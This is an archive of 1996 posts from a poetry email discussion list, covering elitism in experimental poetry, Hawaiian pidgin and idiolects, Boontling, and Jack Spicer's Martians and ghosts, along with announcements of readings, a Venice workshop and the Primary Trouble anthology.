> *Susan's piece explains this much more thoroughly than I can. One note, though--the essay appeared in A Poetics of Criticism, a collection of essays, which is completely different than the excellent mixed-genre magazine Chain.*
>
> *mark wallace*

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199. Joshua N Schuster
elitism
Tue 16 Jan 1996

I think there is another way see the charges of elitism as not necessarily reactionary or ignorant or paranoid (tho perhaps the majority of accusations are). That is thru the dichotomy of elitism vs. utilitarianism as a socialist modernist bug. A work or school is elite when it defines itself by whom it excludes as well as valorizing its own ability to remain powerful while self-nominated as marginal. Elitism is an index of access ability, and I think many of the language poets have consistently and strongly addressed their work within the public sphere, incorporating the audience and/as reader into the dialogue. (Watten addresses many of these issues in the Ariel 8 issue: "We question a question in order to fill in its form.")

It's the lack of dialogue, or willful neglect of certain audiences. It is best to address all critics whether underinformed (the "average reader" or worker who needs a immediately useful, practical item) or overinformed (say Jameson).

Also one must keep up with the "speed" of today's reader who glances only at the morning paper or book per month before business, as well as keep up with the "speed" of other reading habits (reading on a bus is different than reading in a library). Anyways, for the utilitarian poetry perhaps does "sell" something: a difficult and hopefully pleasureable ride thru a sort of self-enriching alienation (not teleologically determined) indicative of a multidirectional will. If elitism purposefully restricts its public by a conscious neglect, then in turn the public will neglect them. In that sense, elitism is always an anachronism.

of,
joshua

↑ Index

200. Jordan Davis
Re Hawaii
Tue 16 Jan 1996

Susan Schultz: The other question that was raised (with raised voices) had to do with "intelligibility"; should writers clearly communicate (if there is such a thing) or should they refuse to buy into prefab linguistic constructions? Again, a question well worth discussing.

So "prefab" = clear communication? I thought "prefab" meant obfuscate neatly.
Jordan

Or, why not communicate clearly (socially? Charles). What as they (they!) say do you (you!) have to lose (lose!)?

↑ Index

201. FUNKHOUSER CHRISTOPH
PASSAGES 4 / A n n o u n c e m e n t
Tue 16 Jan 1996

PASS
AGES

a poetics journal
January, 1996

4

What I acknowledge is that this is a time of working things out, and working things out is not a happy term where printers and publishers are concerned with galley proof delays and publishing expenses, pushing toward publishing dates.... Everywhere--and where more than here?--the individual worker must get the work back into his personal responsibility,

away from the middle man who conveys what he means. There are artists today who have other workers carry their "ideas" out. What is missing is the tale the hand itself tells in its way of working.

F E A T U R E S

+ Andrew Schelling, NOTES ON FORM AND SAVAGE MIND
for Robin Blaser

[line 49]

+ H.D. Moe, CORRECTIONISM
[line 657]

*

passages invites writings on mergings
between poetry & technology

Editorial Advisors

Belle Gironda
Benjamin Friedlander
Donald J. Byrd

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Greenwood Press, 1992)
+ the EPC

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Editor

Chris Funkhouser

[redacted]

↑ Index

202. **Maria Damon**
Re: Susan Schultz, Charles Bernstein, and Hawaii
Tue 16 Jan 1996

---

mark wallace writes:

Ron Silliman mentions Susan Schultz' excellent piece on the reception that Charles Bernstein received in Hawaii.

to which i reply: this is a minor point but it was i and not ron who brought the schultz piece to bear on our discussion of aldon's quoting clr james on what theorists assume about what "the masses" (for whom they wd speak) can and can't understand or find useful in what "we as intellectuals and artists" (quote marks not cuz any of the aforementioned used that phrase, but cuz i'm so mortified to be using the imperialistic we in such a self-aggrandizing cliche) do. while i'm flattered to be mistaken for ron, i also want to be mistaken for myself. bet, maria d

↑ Index

203. **Maria Damon**
Re: Susan Schultz, Charles Bernstein, and Hawaii
Tue 16 Jan 1996

---

yes, walter lew's kaya anthology of New North American Asian Poetry is wonderful. good stuff, experimental and non-sentimental. i passed it around at my mla talk, the only useful thing about my talk i think. best, maria d

↑ Index

204. **Maria Damon**
btw, i'm not at all disapointed
Wed 17 Jan 1996

---

i admire people like ward tietz and joe amato who can sustain linear arguments at some length in this medium. i find i'm reduced to several lines of sharp riposte that stands in for thoughtful analysis/argument --but it may be unfair to blame that on the medium, prob'ly just my own failing capacities... cheers, maria d

↑ Index

205. **Colleen Lookingbill**
Canessa Reading Notice
Wed 17 Jan 1996

Announcing a reading on Sunday January 21:
Kevin Magee and Susan Thackery, 3:00, admission $4.00.

The initial flyer went out with a date error saying the 14th, not the 21st. (Gotta get a new proof reader!) Apologies for the confusion!

1996 schedule not complete, but look forward to Leslie Scalapino/Avery Burns and Joseph Torra, Chris Reiner plus others later this spring. Inquiries about the reading series to Colleen Lookingbill or Jordon Zorker at [redacted] or 1098 Page St. #4, S.F. CA, 95117. See ya all there...

↑ Index

206. **Colleen Lookingbill**
Canessa Reading Notice PS
Wed 17 Jan 1996

Forgot to mention tha Avery Burns will be hosting the reading this Sunday - tea will be served...

↑ Index

207. **Joe Amato**
Re: btw, i'm not at all disapointed
Wed 17 Jan 1996

---

maria, i wish somebody would mistake me for you, b/c i find yr posts, though not verbose like mine, much more to the point...

joe

↑ Index

208. **Erica Hunt**
Int'l Workshop in Literature/Perf Arts-- Venice
Wed 17 Jan 1996

Greetings. By a thread of circumstances too lengthy to recount here, I am helping to organize an international workshop on literature and performance art at a urban architecture institute in Venice. Date: May 1 through June 4, 1996. The faculty at this point include: Charles Bernstein, Fiona Templeton, Tom Raworth, Julie Patton, Lee Anne Brown and myself. This is the first year for such a workshop, and we (Julie, Lee Anne and me) hope to turn into an annual gathering, perhaps connecting it next year to the Biennale. For the first

year, however, we need at least 15 workshop participants. The fee is $2,300. This pays for participant lodging in Venice in very nice apartments, and a month long studio intensive in performance with Fiona, as well as week long workshops with above named poets.

If you, or someone you know is interested please get in touch by e-mail to my address: Ericalin @ aol.com. I would like to get a read of how many people might consider attending. I 'd be happy to supply more information. Materials regarding the workshop itself are in production. Thank you.

↑ Index

209. **Maria Damon**
Re: btw, i'm not at all disapointed
Wed 17 Jan 1996

---

hey joe: aw shucks
md

↑ Index

210. **Aldon L. Nielsen**
Re: subjected to the line
Thu 18 Jan 1996

I'm not actually near Santa Clara. It is my privilege to route my messages through a computer near Santa Clara from my position in Los Angeles, where UCLA now permits me to teach but will not let me use their xerox machine.

It appears that I have failed to disappoint Maria. On the other hand, I seem to have authored a subject line that now rivals "Renga" for frequency of replication.

Martin Glaberman recalls working on the shop floor in Detroit while receiving and debating C. L. R. James's ms. of _Notes on Dialectics_.

I have been to Hawaii, and I have read Charles's essay on ideolects, and I used to work a drill press, but I've never seen a baby pidgin.

Consider this a line break.

↑ Index

211. **Mark Roberts**
AWOL: Forwarded post
Thu 18 Jan 1996

This post was received from a poetry discussion list in the US. I thought it might be of interest to AWOL subscribers.

Mark Roberts.

****

From: Erica Hunt <[redacted]>
Subject: Int'l Workshop in Literature/Perf Arts-- Venice

Greetings. By a thread of circumstances too lengthy to recount here, I am helping to organize an international workshop on literature and performance art at a urban architecture institute in Venice. Date: May 1 through June 4, 1996. The faculty at this point include: Charles Bernstein, Fiona Templeton, Tom Raworth, Julie Patton, Lee Anne Brown and myself. This is the first year for such a workshop, and we (Julie, Lee Anne and me) hope to turn into an annual gathering, perhaps connecting it next year to the Biennale. For the first year, however, we need at least 15 workshop participants. The fee is $2,300. This pays for participant lodging in Venice in very nice apartments, and a month long studio intensive in performance with Fiona, as well as week long workshops with above named poets.

If you, or someone you know is interested please get in touch by e-mail to my address: Ericalin @ aol.com. I would like to get a read of how many people might consider attending. I 'd be happy to supply more information. Materials regarding the workshop itself are in production. Thank you.

↑ Index

212. Jorge Guitart

Re: domani trope e tropo retardi (fwd)

Thu 18 Jan 1996

---------- Forwarded message ----------
Date: Wed, 17 Jan 1996 19:33:15 -0500
From: [redacted]
To: [redacted], [redacted]
Cc: [redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: Re: domani trope e tropo retardi

c'est une chose de beaute, il faut la sender out!

stop, lichee trope, hope, she commanded
though in a moment sighs are fried
sunlight yields fissionable coffee
in elegant gelatin televised

outer dopes frost, yelping at layers
seaweed is water dementia

overlaid glory is in irreversible blue
outrageous February curled the dashboard
ripe rocks diamonds are concealed
of which I am coriander
ephemeral flaying is at four thirty

↑ Index

213. Mark Wallace
ideolects, Hawaii, and being mistaken
Thu 18 Jan 1996

Susan--

While I understand what you're saying about "pidgin," I think I'm going to have to question your statement that "ideolect is invented by elites." Elites in what sense? Educationally maybe, but certainly not financially--so I think it's too easy to use the word "elites". I know quite a few people who use ideolects who work as secretaries, in book stores, in lower level meaningless office jobs, as underpaid part-time community college teachers. The idea that such people are "elites" seems about as clear as the idea that Barry Switzer (uneducated coach of the Dallas Cowboys, author of the autobiography Bootlegger's Son) is part of the underclass because he never went to college. So I think, in this instance, the division between "elites" and the culturally oppressed is much more complicated than you're making clear.

Maria: Sorry to have mistaken you for Ron Silliman. With the huge mass of e-mail info, I have to admit that I don't read every post as carefully as I might. Ron's post was the first one I saw that mentioned Susan's essay.

mark wallace

↑ Index

214. Susan Schultz
Re: ideolects, Hawaii, and being mistaken
Thu 18 Jan 1996

Mark--I only meant to distinguish between pidgin, which was developed as a language to be used between plantation workers from Japan, China, the Philippines, and elsewhere and their bosses, relatively well-to-do whites, in their business dealings with one another. As a result of this economic hierarchy, pidgin tends to get marked as a "lower class" language opposed to the "high class" standard English still used in business and education. Lots of class resentments get played out in discussion of the new Hawai'i literature in pidgin (of the last 15-20 years, that is), and in that literature. I could be wrong,

but it doesn't seem to me that the writers of ideolects use them in quite the way pidgin is in Hawai'i--but the use of the word "elite" is perhaps unfair, at least if "elite" is used in a pejorative manner. Perhaps it would be best to talk a bit about what the purposes behind the development of ideolects. What are the points of contact between them and pidgins, whether in Hawai'i, the Caribbean, or anywhere else they're spoken?

Susan

↑ Index

215. Chris Stroffolino

kevin spacey

Thu 18 Jan 1996

Hey, has anybody else noticed his resemblance to Frank? Is anybody interested in writing a screenplay about O'Hara et al? One scene could act out a "terrestrial cuckoo"? But who would play Jane? And would Kevin do it? Certainly the screenplay shouldn't be based on the GOOCH book..... cs.

↑ Index

216. Tenney Nathanson

whole lotta pidgin goin on

Fri 19 Jan 1996

> *Date: Thu, 18 Jan 1996 13:43:40 -1000*
> *From: Susan Schultz <[redacted]>*
> *Subject: Re: ideolects, Hawaii, and being mistaken*
>
> *Mark--I only meant to distinguish between pidgin, which was developed as a language to be used between plantation workers from Japan, China, the Philippines, and elsewhere and their bosses, relatively well-to-do whites, in their business dealings with one another.*

When I was visiting my American friend in his Paris sublet in 19 what 78, I happened on an old French one-volume poorman's Britannica--a lil encyclopedia. There was one of those lovely 10-20 page sections, in multi-color plates, with repeated maps of the world carved up in various ways (like Elizabeth Bishop liked): nations of the world, empires of the world, currencies of the world, & so on. And languages of the world: a little English on the map here, French German there; and then spread across 90% of the surface area, just one word, repeated as graphics dictated: "pidgin."

another thing that struck me and I sure won't try all four languages since I can't even spell in English, but: on the SNFC, there's a quadrilingual sign in all the cars--French, English, German, Italian (they don't even bother w Spanish). The

first three say, each in its own lingua franca, "it's forbidden to stick your head out of the window while the train is moving." The Italian version, instead, says it's "dangerous" to do it.

e poi basta

↑ Index

217. Susan Schultz
Re: whole lotta pidgin goin on
Fri 19 Jan 1996

Tenney--I like it! Always was partial to the plain English "mind your head" myself. Susan

On Thu, 18 Jan 1996, Tenney Nathanson wrote:

> *Date: Thu, 18 Jan 1996 13:43:40 -1000*
> *From: Susan Schultz <[redacted]>*
> *Subject: Re: ideolects, Hawaii, and being mistaken*
>
> *Mark--I only meant to distinguish between pidgin, which was developed as a language to be used between plantation workers from Japan, China, the Philippines, and elsewhere and their bosses, relatively well-to-do whites, in their business dealings with one another.*
>
> *When I was visiting my American friend in his Paris sublet in 19 what 78, I happened on an old French one-volume poorman's Britannica--a lil encyclopedia. There was one of those lovely 10-20 page sections, in multi-color plates, with repeated maps of the world carved up in various ways (like Elizabeth Bishop liked): nations of the world, empires of the world, currencies of the world, & so on. And languages of the world: a little English on the map here, French German there; and then spread across 90% of the surface area, just one word, repeated as graphics dictated: "pidgin."*
>
> *another thing that struck me and I sure won't try all four languages since I can't even spell in English, but: on the SNFC, there's a quadrilingual sign in all the cars--French, English, German, Italian (they don't even bother w Spanish). The first three say, each in its own lingua franca, "it's forbidden to stick your head out of the window while the train is moving." The Italian version, instead, says it's "dangerous" to do it.*
>
> *e poi basta*

↑ Index

218. **Stephen Galen Cope**
Re: whole lotta pidgin goin on
Fri 19 Jan 1996

As the old 'joke' goes:

Q: What's a language got that a dialect hasn't got?

A: A victorious army.

-Stephen Cope

↑ Index

219. **Ron Silliman**
Boontling
Fri 19 Jan 1996

The pidgin-ideolect-language discussion reminds me of the Northern California lingo (I think that's the proper term) called Boontling. It was created in the 1890s in the Anderson valley towns of Booneville, Anderson and Philo (not far from where Lydia Davis' half-brother Alexander Cockburn lives) by teenagers who basically wanted a "safe" means of talking dirty in the presence of their elders. But since they all grew up together and, except for those who ended up going off to WWI, stayed pretty much insular in that valley as adults, they let the lingo become the dominant language for their generation. Some of the very youngest ones to pick it up still show up at folk festivals in California, just telling (or as they would say "harping") stories. Radio and TV finally killed it off, their kids were more worldly and embarrassed at calling a pay phone a bucky walter, but if you go through Booneville (and there's an excellent rare bookstore there that specializes in 20th C. poetry), you will see that the pay phone is indeed labeled Bucky Walter. There's at least one book (a PhD dissertation) in print on it, by Charles Adams.

Ron Silliman
[redacted]

↑ Index

220. **Joe Amato**
Re: Boontling
Fri 19 Jan 1996

---

just to second the ref. to the boontling book ron mentions (_boontling: an american lingo_, with a dictionary of boontling), by charles adams (mountain house press, 1990)... really interesting stuff...

joe

↑ Index

221. Maria Damon
Re: Boontling
Fri 19 Jan 1996

---

yes, i've heard of boontling, isn't there still a cafe in booneville called the Horn of Zees (cup of coffee)?--maria d

↑ Index

222. Edward Foster
Re: Postmodern American Poetry: the Norton Anthology
Fri 19 Jan 1996

NEW THIS VERY DAY FROM TALISMAN: PRIMARY TROUBLE: AN ANTHOLOGY OF CONTEMPORARY AMERICAN POETRY, ed. Leonard Schwartz, Joseph Donahue, and Edward Foster. The most ambitious effort of its sort to day, Primary Trouble anthologizes the work of more than sixty poets representing those who have had a crucial impact in the last thirty or forty years. The work included here represents not only well acknowledged groups and practices such as the New York School, language writing, and multicultural traditions but also gnostic and hermetic work that is increasingly identified among the most interesting being published today. There was a publication reading for the book in Miami last week and a huge gathering at Intersection for the Arts in San Francisco this past Tuesday. There will be a publication reading at Biblio's in New York on February 25th, and similar readings will follow in other cities in the coming months. The book is available in fine bookstores and maybe ordered through SPD and Login Publishers Consortium/InBook (Visa/MasterCard). The book, with 478 + xx pages, is $24.95, and the ISBN is 1-883689-29-5.

↑ Index

223. Robert Drake
Re: Postmodern American Poetry: the Norton Anthology
Fri 19 Jan 1996

---

ed--

if you have a chance, could you post a listing of the included poets (or, even better, a toc...)?

lbd

↑ Index

224. **Herb Levy**
Re: Primary Trouble
Fri 19 Jan 1996

So Ed, why not post a list of the writers included for our delectation?

- Herb

Herb Levy
[redacted]

↑ Index

225. **Kevin Killian**
Re: Boontling
Fri 19 Jan 1996

This is Dodie Bellamy speaking.

And then there was Spicer's Martian dialect.

A quote from John Ryan:

Jack Spicer and I were both fluent in Martian. I was North Martian, and he was South Martian, but we understood what we said perfectly well. We were going down into the Valley one year, before Christmas, on a train, and Jack had to go take a leak. Jack and I had been conversing in Martian, being quite full of Red Cap Ale, and a guy from another table came over and asked me when Jack went to the head, "Are you fellows Australian?" Jack returned and greeted the man, "Sit ka vassisi von ka, sta'chi que v'ay qray." ("Salut!".) That's Southern Martian. "Eiss! Sa schlein! Ja da lond, nar la loff." (That's "thank you," in Northern Martian.)"

(from KK's Spicer bio--I am devouring the manuscript with great pleasure)

↑ Index

226. **Maria Damon**
Re: Postmodern American Poetry: the Norton Anthology
Fri 19 Jan 1996

---

yo ed foster:
any book readings/celebs planned for boston?
bestests,
maria d

↑ Index

227. **Aldon L. Nielsen**
Re: Boontling
Sat 20 Jan 1996

Talk about yr coincidences -- on the same day that Ron posted his message about it, the _L.A. Times_ ran a story on the impending death of this lingo, along with interviews with colorful oldsters who still speak it and a glossary of terms for folk who might want to spice up their conversation with a few choice terms while "burlapping" with their lovers of an evening -- The explanations of the origins of the terms ("burlapping" being my favorite) are the best part of the piece -- I think the _Times_ is online, if you want to look it up --

↑ Index

228. **Kevin Killian**
Renga Solution
Sat 20 Jan 1996

This is Dodie Bellamy speaking.

Last night Eryque Gleason told me about the website www.shareware.com, so I was playing around on it this morning and I found actually found Renga shareware!

Here it is:

clearstream1.08. A game for poets, derived from renga, a Japanese
sit.hqx form. Renga's popularity extends back for several
game/board/ hundred years. In a computerized environment, the
Apr 05,1995 possibilties have opened for non-linear variations
228 K as well as random creations. Although poetic
creation can be solitaire, group activity sparks
and sparkles!

↑ Index

229. **Kevin Killian**
Renga Solution Redux
Sat 20 Jan 1996

This is Dodie Bellamy speaking.

The renga game info that I sent in my previous post was in two columns on Netscape, but when copied into e-mail, the columns were collapsed into a rather jumbled transmission, which I'm sure the poets on this list had no trouble deciphering, probably didn't even notice anything *strange* going on. But for the rest of you, I cleaned up the text and am sending it again.

Here it is:

clearstream1.08.
sit.hqx
Apr 05,1995
228 K

A game for poets, derived from renga, a Japanese form. Renga's popularity extends back for several game/board/ hundred years. In a computerized environment, the possibilties have opened for non-linear variations as well as random creations. Although poetic creation can be solitaire, group activity sparks and sparkles!

↑ Index

230. Maria Damon
Re: ideolects, Hawaii, and being mistaken
Sat 20 Jan 1996

---

question:
is it "ideo" (ideas)- or "idio" (single indiv)-lects? i wd think the
latter...?
maria d

↑ Index

231. Ron Silliman
Ghosts vs. Martians
Sun 21 Jan 1996

Dodie's comments re Spicer made me think about the fact that there are TWO categories of communicative Other in Spicer's work. Martians is one, but ghosts are the other. What I want to know is What is the difference between these two realms for Spicer?

Am totally envious that you get to read that book while I, like the rest of the world, just have to wait.

Best,
Ron Silliman
[redacted]

↑ Index

232. Kevin Killian
Re: Ghosts vs. Martians
Sun 21 Jan 1996

Ron,

I have spent the morning bugging Kevin about what he sees as the difference between Martians and ghosts. KK seems to think that they are, in fact, metaphors for the same phenomenon--which particular term Spicer chose often depending on who he was talking to. KK said that Martians seemed to drop away after a while, and ghosts took over as the predominant image. KK doesn't see much connection between the Martian dialect and this, seeing speaking Martian simply as a game that lovers play.

Have you ever made up a language with another, Ron? I have.

And, yes, I do feel lucky reading this book. But I also feel lucky about my long-term, totally passive exposure to Spicer's work and world, which began long before KK started the Spicer bio. Early on in my writing career Bruce Boone would read me Spicer and discuss his poetry and Bruce's vision of community. I remember Bruce having a party where a large group of us sat around his Noe Valley apartment and listened to a tape of Spicer reading _The Holy Grail_. And then there was the Spicer conference at New College. And John Granger's striking talk on Spicer at Small Press Traffic.

And I've been particularly lucky in having met many of the people discussed in the Spicer bio. There's something very gratifying about having myself developed as a writer in San Francisco, and being emersed in this historical community which still has traces in the present. Recently KK, Peter Gizzi, and I went to the memorial service of the painter Tom Field, who was part of the Spicer circle. As I was leaving, Joanne Kyger and a number of other survivors of that era took what remained of the wine and headed up to Tom's room to drink because they could feel Tom there. Ghosts.

Dodie

↑ Index

233. Tom Beard
Alien languages
Sun 21 Jan 1996

Dodie:
>And then there was Spicer's Martian dialect.

Any of you fluent in Klingon? I've read about Klingon dictionaries, Klingon conventions, and undoubtebly more than one Klingon web page.

Anyone read Edwin Morgan's fiendishly clever "The first men on Mercury"? Morgan's an accomplished linguist, so I assume a lot of thought went into the Mercurian language.

Those of you conversant with Strine would know what "flares" are, and what an "Egg nishner" is.

Cheers,
Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

234. Maria Damon

Re: Ghosts vs. Martians

Sun 21 Jan 1996

like kevin via dodie, i'm not sure how much is gained by looking for differences btw ghosts and martians in spicer. in my spicer chapter i treat them as slightly different inflections of spicer's felt affinity for otherworldliness(es) in his life: as a poet, as a gay man, etc. I'd say that there is in ghosts a resonance w/ keats's negative capability and eliot's anti-personality aesthetics ("what i am is by degrees a ghost"--letter to lorca in After Lorca), and in martians there's a sense (through appeal to cavalcantian appeals to mars as the "real" god of love as opposed to venus) of bellicose agonism, which certainly characterizes spicer's relationship to "the world" --and also, given the space-race fifties and sixties, to the concept of a fantasy/utopian projection where things could come true and whence "different" people came (somewhere over the rainbow, burroughs's "language is a virus from outer space," sun ra, etc, "my favorite martian" as a mass cultural model for alternate masculinity). etc. i had some ideas about 8 years ago of writing something about the iconography of the space-race and the emergent gay male community of the 50s and 60s, but like so many other ideas i never did it, nor could i persuade any of my grad students to pursue it. auden has a poem abt the space race, doesn't he? etc. bestests, maria d

↑ Index

235. Kevin Killian
Kevin Spacey
Mon 22 Jan 1996

Chris Stroffolino wrote:

> Hey, has anybody else noticed his resemblance to Frank?
> Is anybody interested in writing a screenplay about O'Hara et al?
> One scene could act out a "terrestrial cuckoo"? But who would play Jane?
> And would Kevin do it? Certainly the screenplay shouldn't be based
> on the GOOCH book.....
> cs.

Yes, Spacey would be ideal for the "Frank O'Hara" story. But don't get me started. In half an hour I had the entire movie cast: I see Chris O'Donnell as Joe LeSueur, and Bill Pullman as the young John Ashbery. For Jane, who else but Jennifer Jason Leigh! Or maybe she would be better as V R ("Bunny") Lang, and Winona Ryder could play Jane. Stephen Dorff could play the seductive heartless Bill Berkson that Gooch has imagined into being. If "they" could teach Brad Pitt to dance, he would be great as Vincent Warren. The frame story would have Brad in the present running around interviewing all these people in old makeup, and Brad could be Leonardo Di Caprio, except they'd have to dye his hair. Dodie suggests a heterosexual love interest for Brad-a rival researcher, perhaps-Julia Roberts, snappy reporter, with glasses, which she could take off at opportune moments.

Now for the other characters: the young James Schuyler: Crispin Glover. Helen Frankenthaler: Judy Davis. Larry Rivers: David Schwimmer (from TV's "Friends").

Leonardo di Caprio as James Dean, Angela Bassett (who else?) as Billie Holiday, Sharon Stone as Lana Turner.

So don't get me started, okay?

↑ Index

236. Mark Wallace
Re: ideolects, Hawaii, and being mistaken
Mon 22 Jan 1996

Susan:

My understanding of the conventional distinction between dialect and idiolect would go something like this--dialect is (supposedly!) a cultural or regional outgrowth of difference in a particular language, or between particular languages, based in use by a shared group of people in a particular

environment, or who consider themselves to have similar group characteristics, whether national, racial, or ethic. Dialect tends to posit a certain level of "naturalness"--that is, it tends not to be considered a self-aware creation of difference in a particular language, but simply an outgrowth of people's actual interactions. Dialect is supposedly unconscious, to a certain extent.

Idiolect, on the other hand, is conventionally thought of (if it's conventionally thought of at all) as being an intellectually CREATED difference within a particular language or between languages, designed usually with a certain level of conscious resistance to the normative language from which it emerges, or, if not resistance, at least with an awareness that new terminology needs to be created for a certain set of users.

In practice, of course, these distinctions are not as clear. I'm thinking for instance of Hugh McDiarmid, whose use of Scottish "dialect" in poetry is a completely intellectually conscious decision to disrupt normative English by reinstituting Scots (a language, that for all official and most unofficial purposes, was pretty much dead in Scotland at the time, disliked even by many very nationalist Scots). McDiarmid's use of dialect is therefore in some sense idiolect. I wonder if this is true of many of the Hawaiian writers in which you're interested...it's one thing to speak Haole (is that the word?) to a shared group that understands that language, it's another to assert your right to do so to people in a literay context outside the group in question...

Does idiolect have elements of dialect, sometimes? I tend to think yes. Computer languages, for instance, while certainly having a base in idiolect (they use terms particularly invented by consciously "intellectual" practitioners), tend more and more to have elements of "dialect" as they become more unconsciously used "simply as part of the language" of a cultural subset of, say, English speakers.

Looking forward to your response,

mark wallace

↑ Index

237. Mark Wallace
ideolects and idiolects
Mon 22 Jan 1996

Maria:

I actually don't know whether the spelling is "ideo" or "idio," or whether one can use both. I've been using the spellings interchangeably, and obviously there's a problem somewhere. Thanks for pointing it out1

mark wallace

↑ Index

238. Daniel Bouchard
Re: Ghosts vs. Martians
Mon 22 Jan 1996

> *something about the iconography of the*
> *space-race and the emergent gay male community of the 50s and 60s, but like*
> *so many other ideas i never did it, nor could i persuade any of my grad*
> *students to pursue it. auden has a poem abt the space race, doesn't he?*
> *etc. bestests, maria d*

Maria,

I was reminded of the poem even before I came to the last sentence of your post. Especially the opening lines,

"It's natural the Boys should whoop it up for/ So huge a phallic triumph, an adventure/ it would not have occured to women/ to think worthwhile, made possible only/ because we like huddling in gangs and knowing/ the exact time: yes, our sex may in fairness/ Hurrah the deed, although the motives/ That primed it were somewhat less than menschilch"

I think that's right.

Dodie/Kevin: when will the Spicer bio be available to the public?

[redacted]

↑ Index

239. kathryne
Re: poet search
Mon 22 Jan 1996

Does anyone have a current and reliable address for Ted Joans; I have heard that he might be in Seattle. I would like to be in touch with him, so if anyone can help, please post me, Kathyne Lindberg, [redacted]

Thanks. I don't guess that he has email, so I am content with snail mail, preferably to a reliable rumored US address.

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240. Jeff Hansen
elitism
Mon 22 Jan 1996

The charge of elitism in poetry rarely, I think, stems from its exclusion of others. We can see this by comparing poetry folks to other groups with specialized interests. For instance, a zine that focusses on Bobby Brady may seem weird to most people, but I doubt if it would seem elitist. However, a zine that presents "difficult" poetry may seems both weird and elitist. Why? Because poetry still connotes culture (i.e. social status.) Knowing about Bobby Brady is not associated in many people's minds with high culture, poetry is.

When people who think of themselves as "cultured" read "difficult" poetry and find it incomprehensible, they must protect their status by diffusing the cultural value of the "difficult" poetry. Hence, they dismiss it as elitist. (Isn't the charge of "elitism" an attempt at dismissal?)

I believe that many poets working within the experimental (avant-garde, modernist, etc.) tradition have attempted to sever the ties between poetry and "high culture." But such severing does not work for those who don't read us, and when they do they often bring the association with them. So they dismiss our work on the basis of a conception of poetry that the work itself is dismantling.

In the end, the charge of elitism seems hollow to me. I know a lot of poets; we are not as snobby or arrogant as many people I know who have a lot of money. In our culture, money is elitist, not poetry.

If someone does charge us of being elitist, perhaps we could offer to show them some of the language games frequently used by "difficult" poets, and more will be either clear or obfuscated in a useful way.

Best, Jeff

↑ Index

241. Jeff Hansen
Saro-Wiwa
Mon 22 Jan 1996

In December, a number of us wrote to Shell Oil, the Nigerian Government, and President Clinton expressing our outrage at the murder of writer/activist Ken Saro-Wiwa and eight others. In it, we told Shell that we will boycott their products until they show improvement in their dealings with Native Peoples. Shell wrote back. Any of you interested in seeing what they have to say in their defense, should send me a SASE to 2510 hwy 100 south #333, St. Louis Park, MN 55416. I'll send you a xerox.

Do any of you think they responded to us because we let them know that we are writers? I'd like to think so.

jeff

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242. Edward Foster
Re: Primary Trouble
Mon 22 Jan 1996

PRIMARY TROUBLE: to answer questions, requests: the anthology does not (from my point-of-view) seek heroes. it's beside the point at this date to say here is the best. what nonsense. that's a game for the academy. primary trouble is edited by and for poets and tries to document what's been going on. to suggest what the full arc (ark?) is like. you can't do everything or you'll have a doorstop. so: the three editors are radically different (RADICALLY different) from each other in their poetry/poetics. and that's the point. with such different perspectives, agreement would be something of an achievement. one couldn't say simply this is what i like, but rather this is somehow representative. so the contents of the book was the result of enormous work and argument, and the really amazing thing is that we are still talking to each other, indeed are still friends. and i think that although we are still as much in disagreement in matters of poetics as before, we do feel that the book represents well the range of work done in the past thirty or so years outside academic and conservative traditions. No one/nothing is priviliged here, so don't expect a program or agenda, but the range is here. the book is the work of poets, not critics, and so the editors include their own work for anyone who wants to see where their arguments begin. then: will alexander, ivan arguelles, dodie bellamy, ted berrigan, mei-mei berssenbrugge, charles borkhuis, lee ann brown, joseph ceravolo, norma cole, peter cole, clark coolidge, diane di prima, stephen ellis, norman finkelstein, kathleed fraser, forest gander, drew gardner, john high, anselm hollo, virginia hooper, fanny howe, susan howe, ronald johnson, andrew joron, robert kelly, myung mi kim, ann lauterbach, nathaniel mackey, kevin magee, tom mandel, bernadette mayer, albert mobilio, laura moriarty, shelia murphy, eileen myles, claire needell, alice notley, geoffrey o'brien, michael palmer, simon pettet, stephen ratcliffe, donald revell, ed roberson, elizabeth robinson, janet rodney, david rosenberg, stephen sartarelli, leslie scalapino, andrew schelling, barry seiler, spencer selby, david shapiro, aaron shurin, mary margaret sloan, gustaf sobin, john taggart, george tysh, anne waldman, and john yau. other names? sure, of course, there are many other i certainly might add, or leonard might, or joe might, BUT the list is representative. the point is the community, not heroes. there is also work here by William Bronk, H.D., Gerrit Lansing, and Emerson (!), and the title is from Duncan. We hope that

these will held "place" the community. But, of course, there are others--Spicer, Pound, Stevens, etc.--who are essential. The introduction is leonard's and the is a very extensive poetics section with commentary by will alexander, clark coolidge, fanny howe, robert kelly, leslie scalapino, gustaf sobin, anne waldman, and myself. none of these pieces fall strictly within the dimensions of coventional critical commentary, for if the anthology as a whole says one thing clearly, it is that poetry does not exist there, at all. the book's isbn is 1-883689-28-7 and costs $24.95 (which is a lot but given printing, shipping, distribution, etc., may very well not be enough to cover the bills). if it isn't on the shelves in good bookstores already (or within a few days at most), SHAME on them. the best thing is to ask any such store to order and stock NOW, but you can also get copies using Visa/MasterCard by calling [redacted]. Or through Small Press Distribution or directly through Login Publishers Consortium/InBook, 1436 West Randolph Street, Chicago, IL 60607. You have to add $3 postage/shipping for the first book and $1 for each addition. Talisman doesn't (actually can't) do orders directly, but we have a new catalog, and if you want copies, please write to Talisman at P.O.Box 3157, Jersey City, NJ 07303-3157.

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243. Edward Foster
Re: Postmodern American Poetry: the Norton Anthology
Mon 22 Jan 1996

---

dear maria d: yes, we're definitely hoping for a boston reading/publication psa rty soon, but i don't have an exacvt date. BUT also to note: this summer's Talisman is going to have an amazing section on the terrific Boston people, edited by Michael Franco, who is certainly the one to do it! he's one of the best himself. --ed

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244. Brian McHale
Re: Ghosts vs. Martians
Mon 22 Jan 1996

On Spicer's martians &/or ghosts: In the first wave of UFO narratives in late-'40s/early-'50s there was a strange confluence of spiritualism & sci-fi that was gradually marginalized in ufologists discourse in subsequent decades (but maybe has leached back into it lately?) -- anyway, possibly Spicer's Martians come out of that nexus, & so have "ghostly" associations built in? All this is documented by Curtis Peebles in a highly recommended book, Watch the Skies! A Chronicle of the Flying Saucer Myth, Smithsonian, 1994.

Brian McHale

↑ Index

245. Jordan Davis
Re: elitism
Mon 22 Jan 1996

> *In our culture, money is elitist, not poetry.*
>
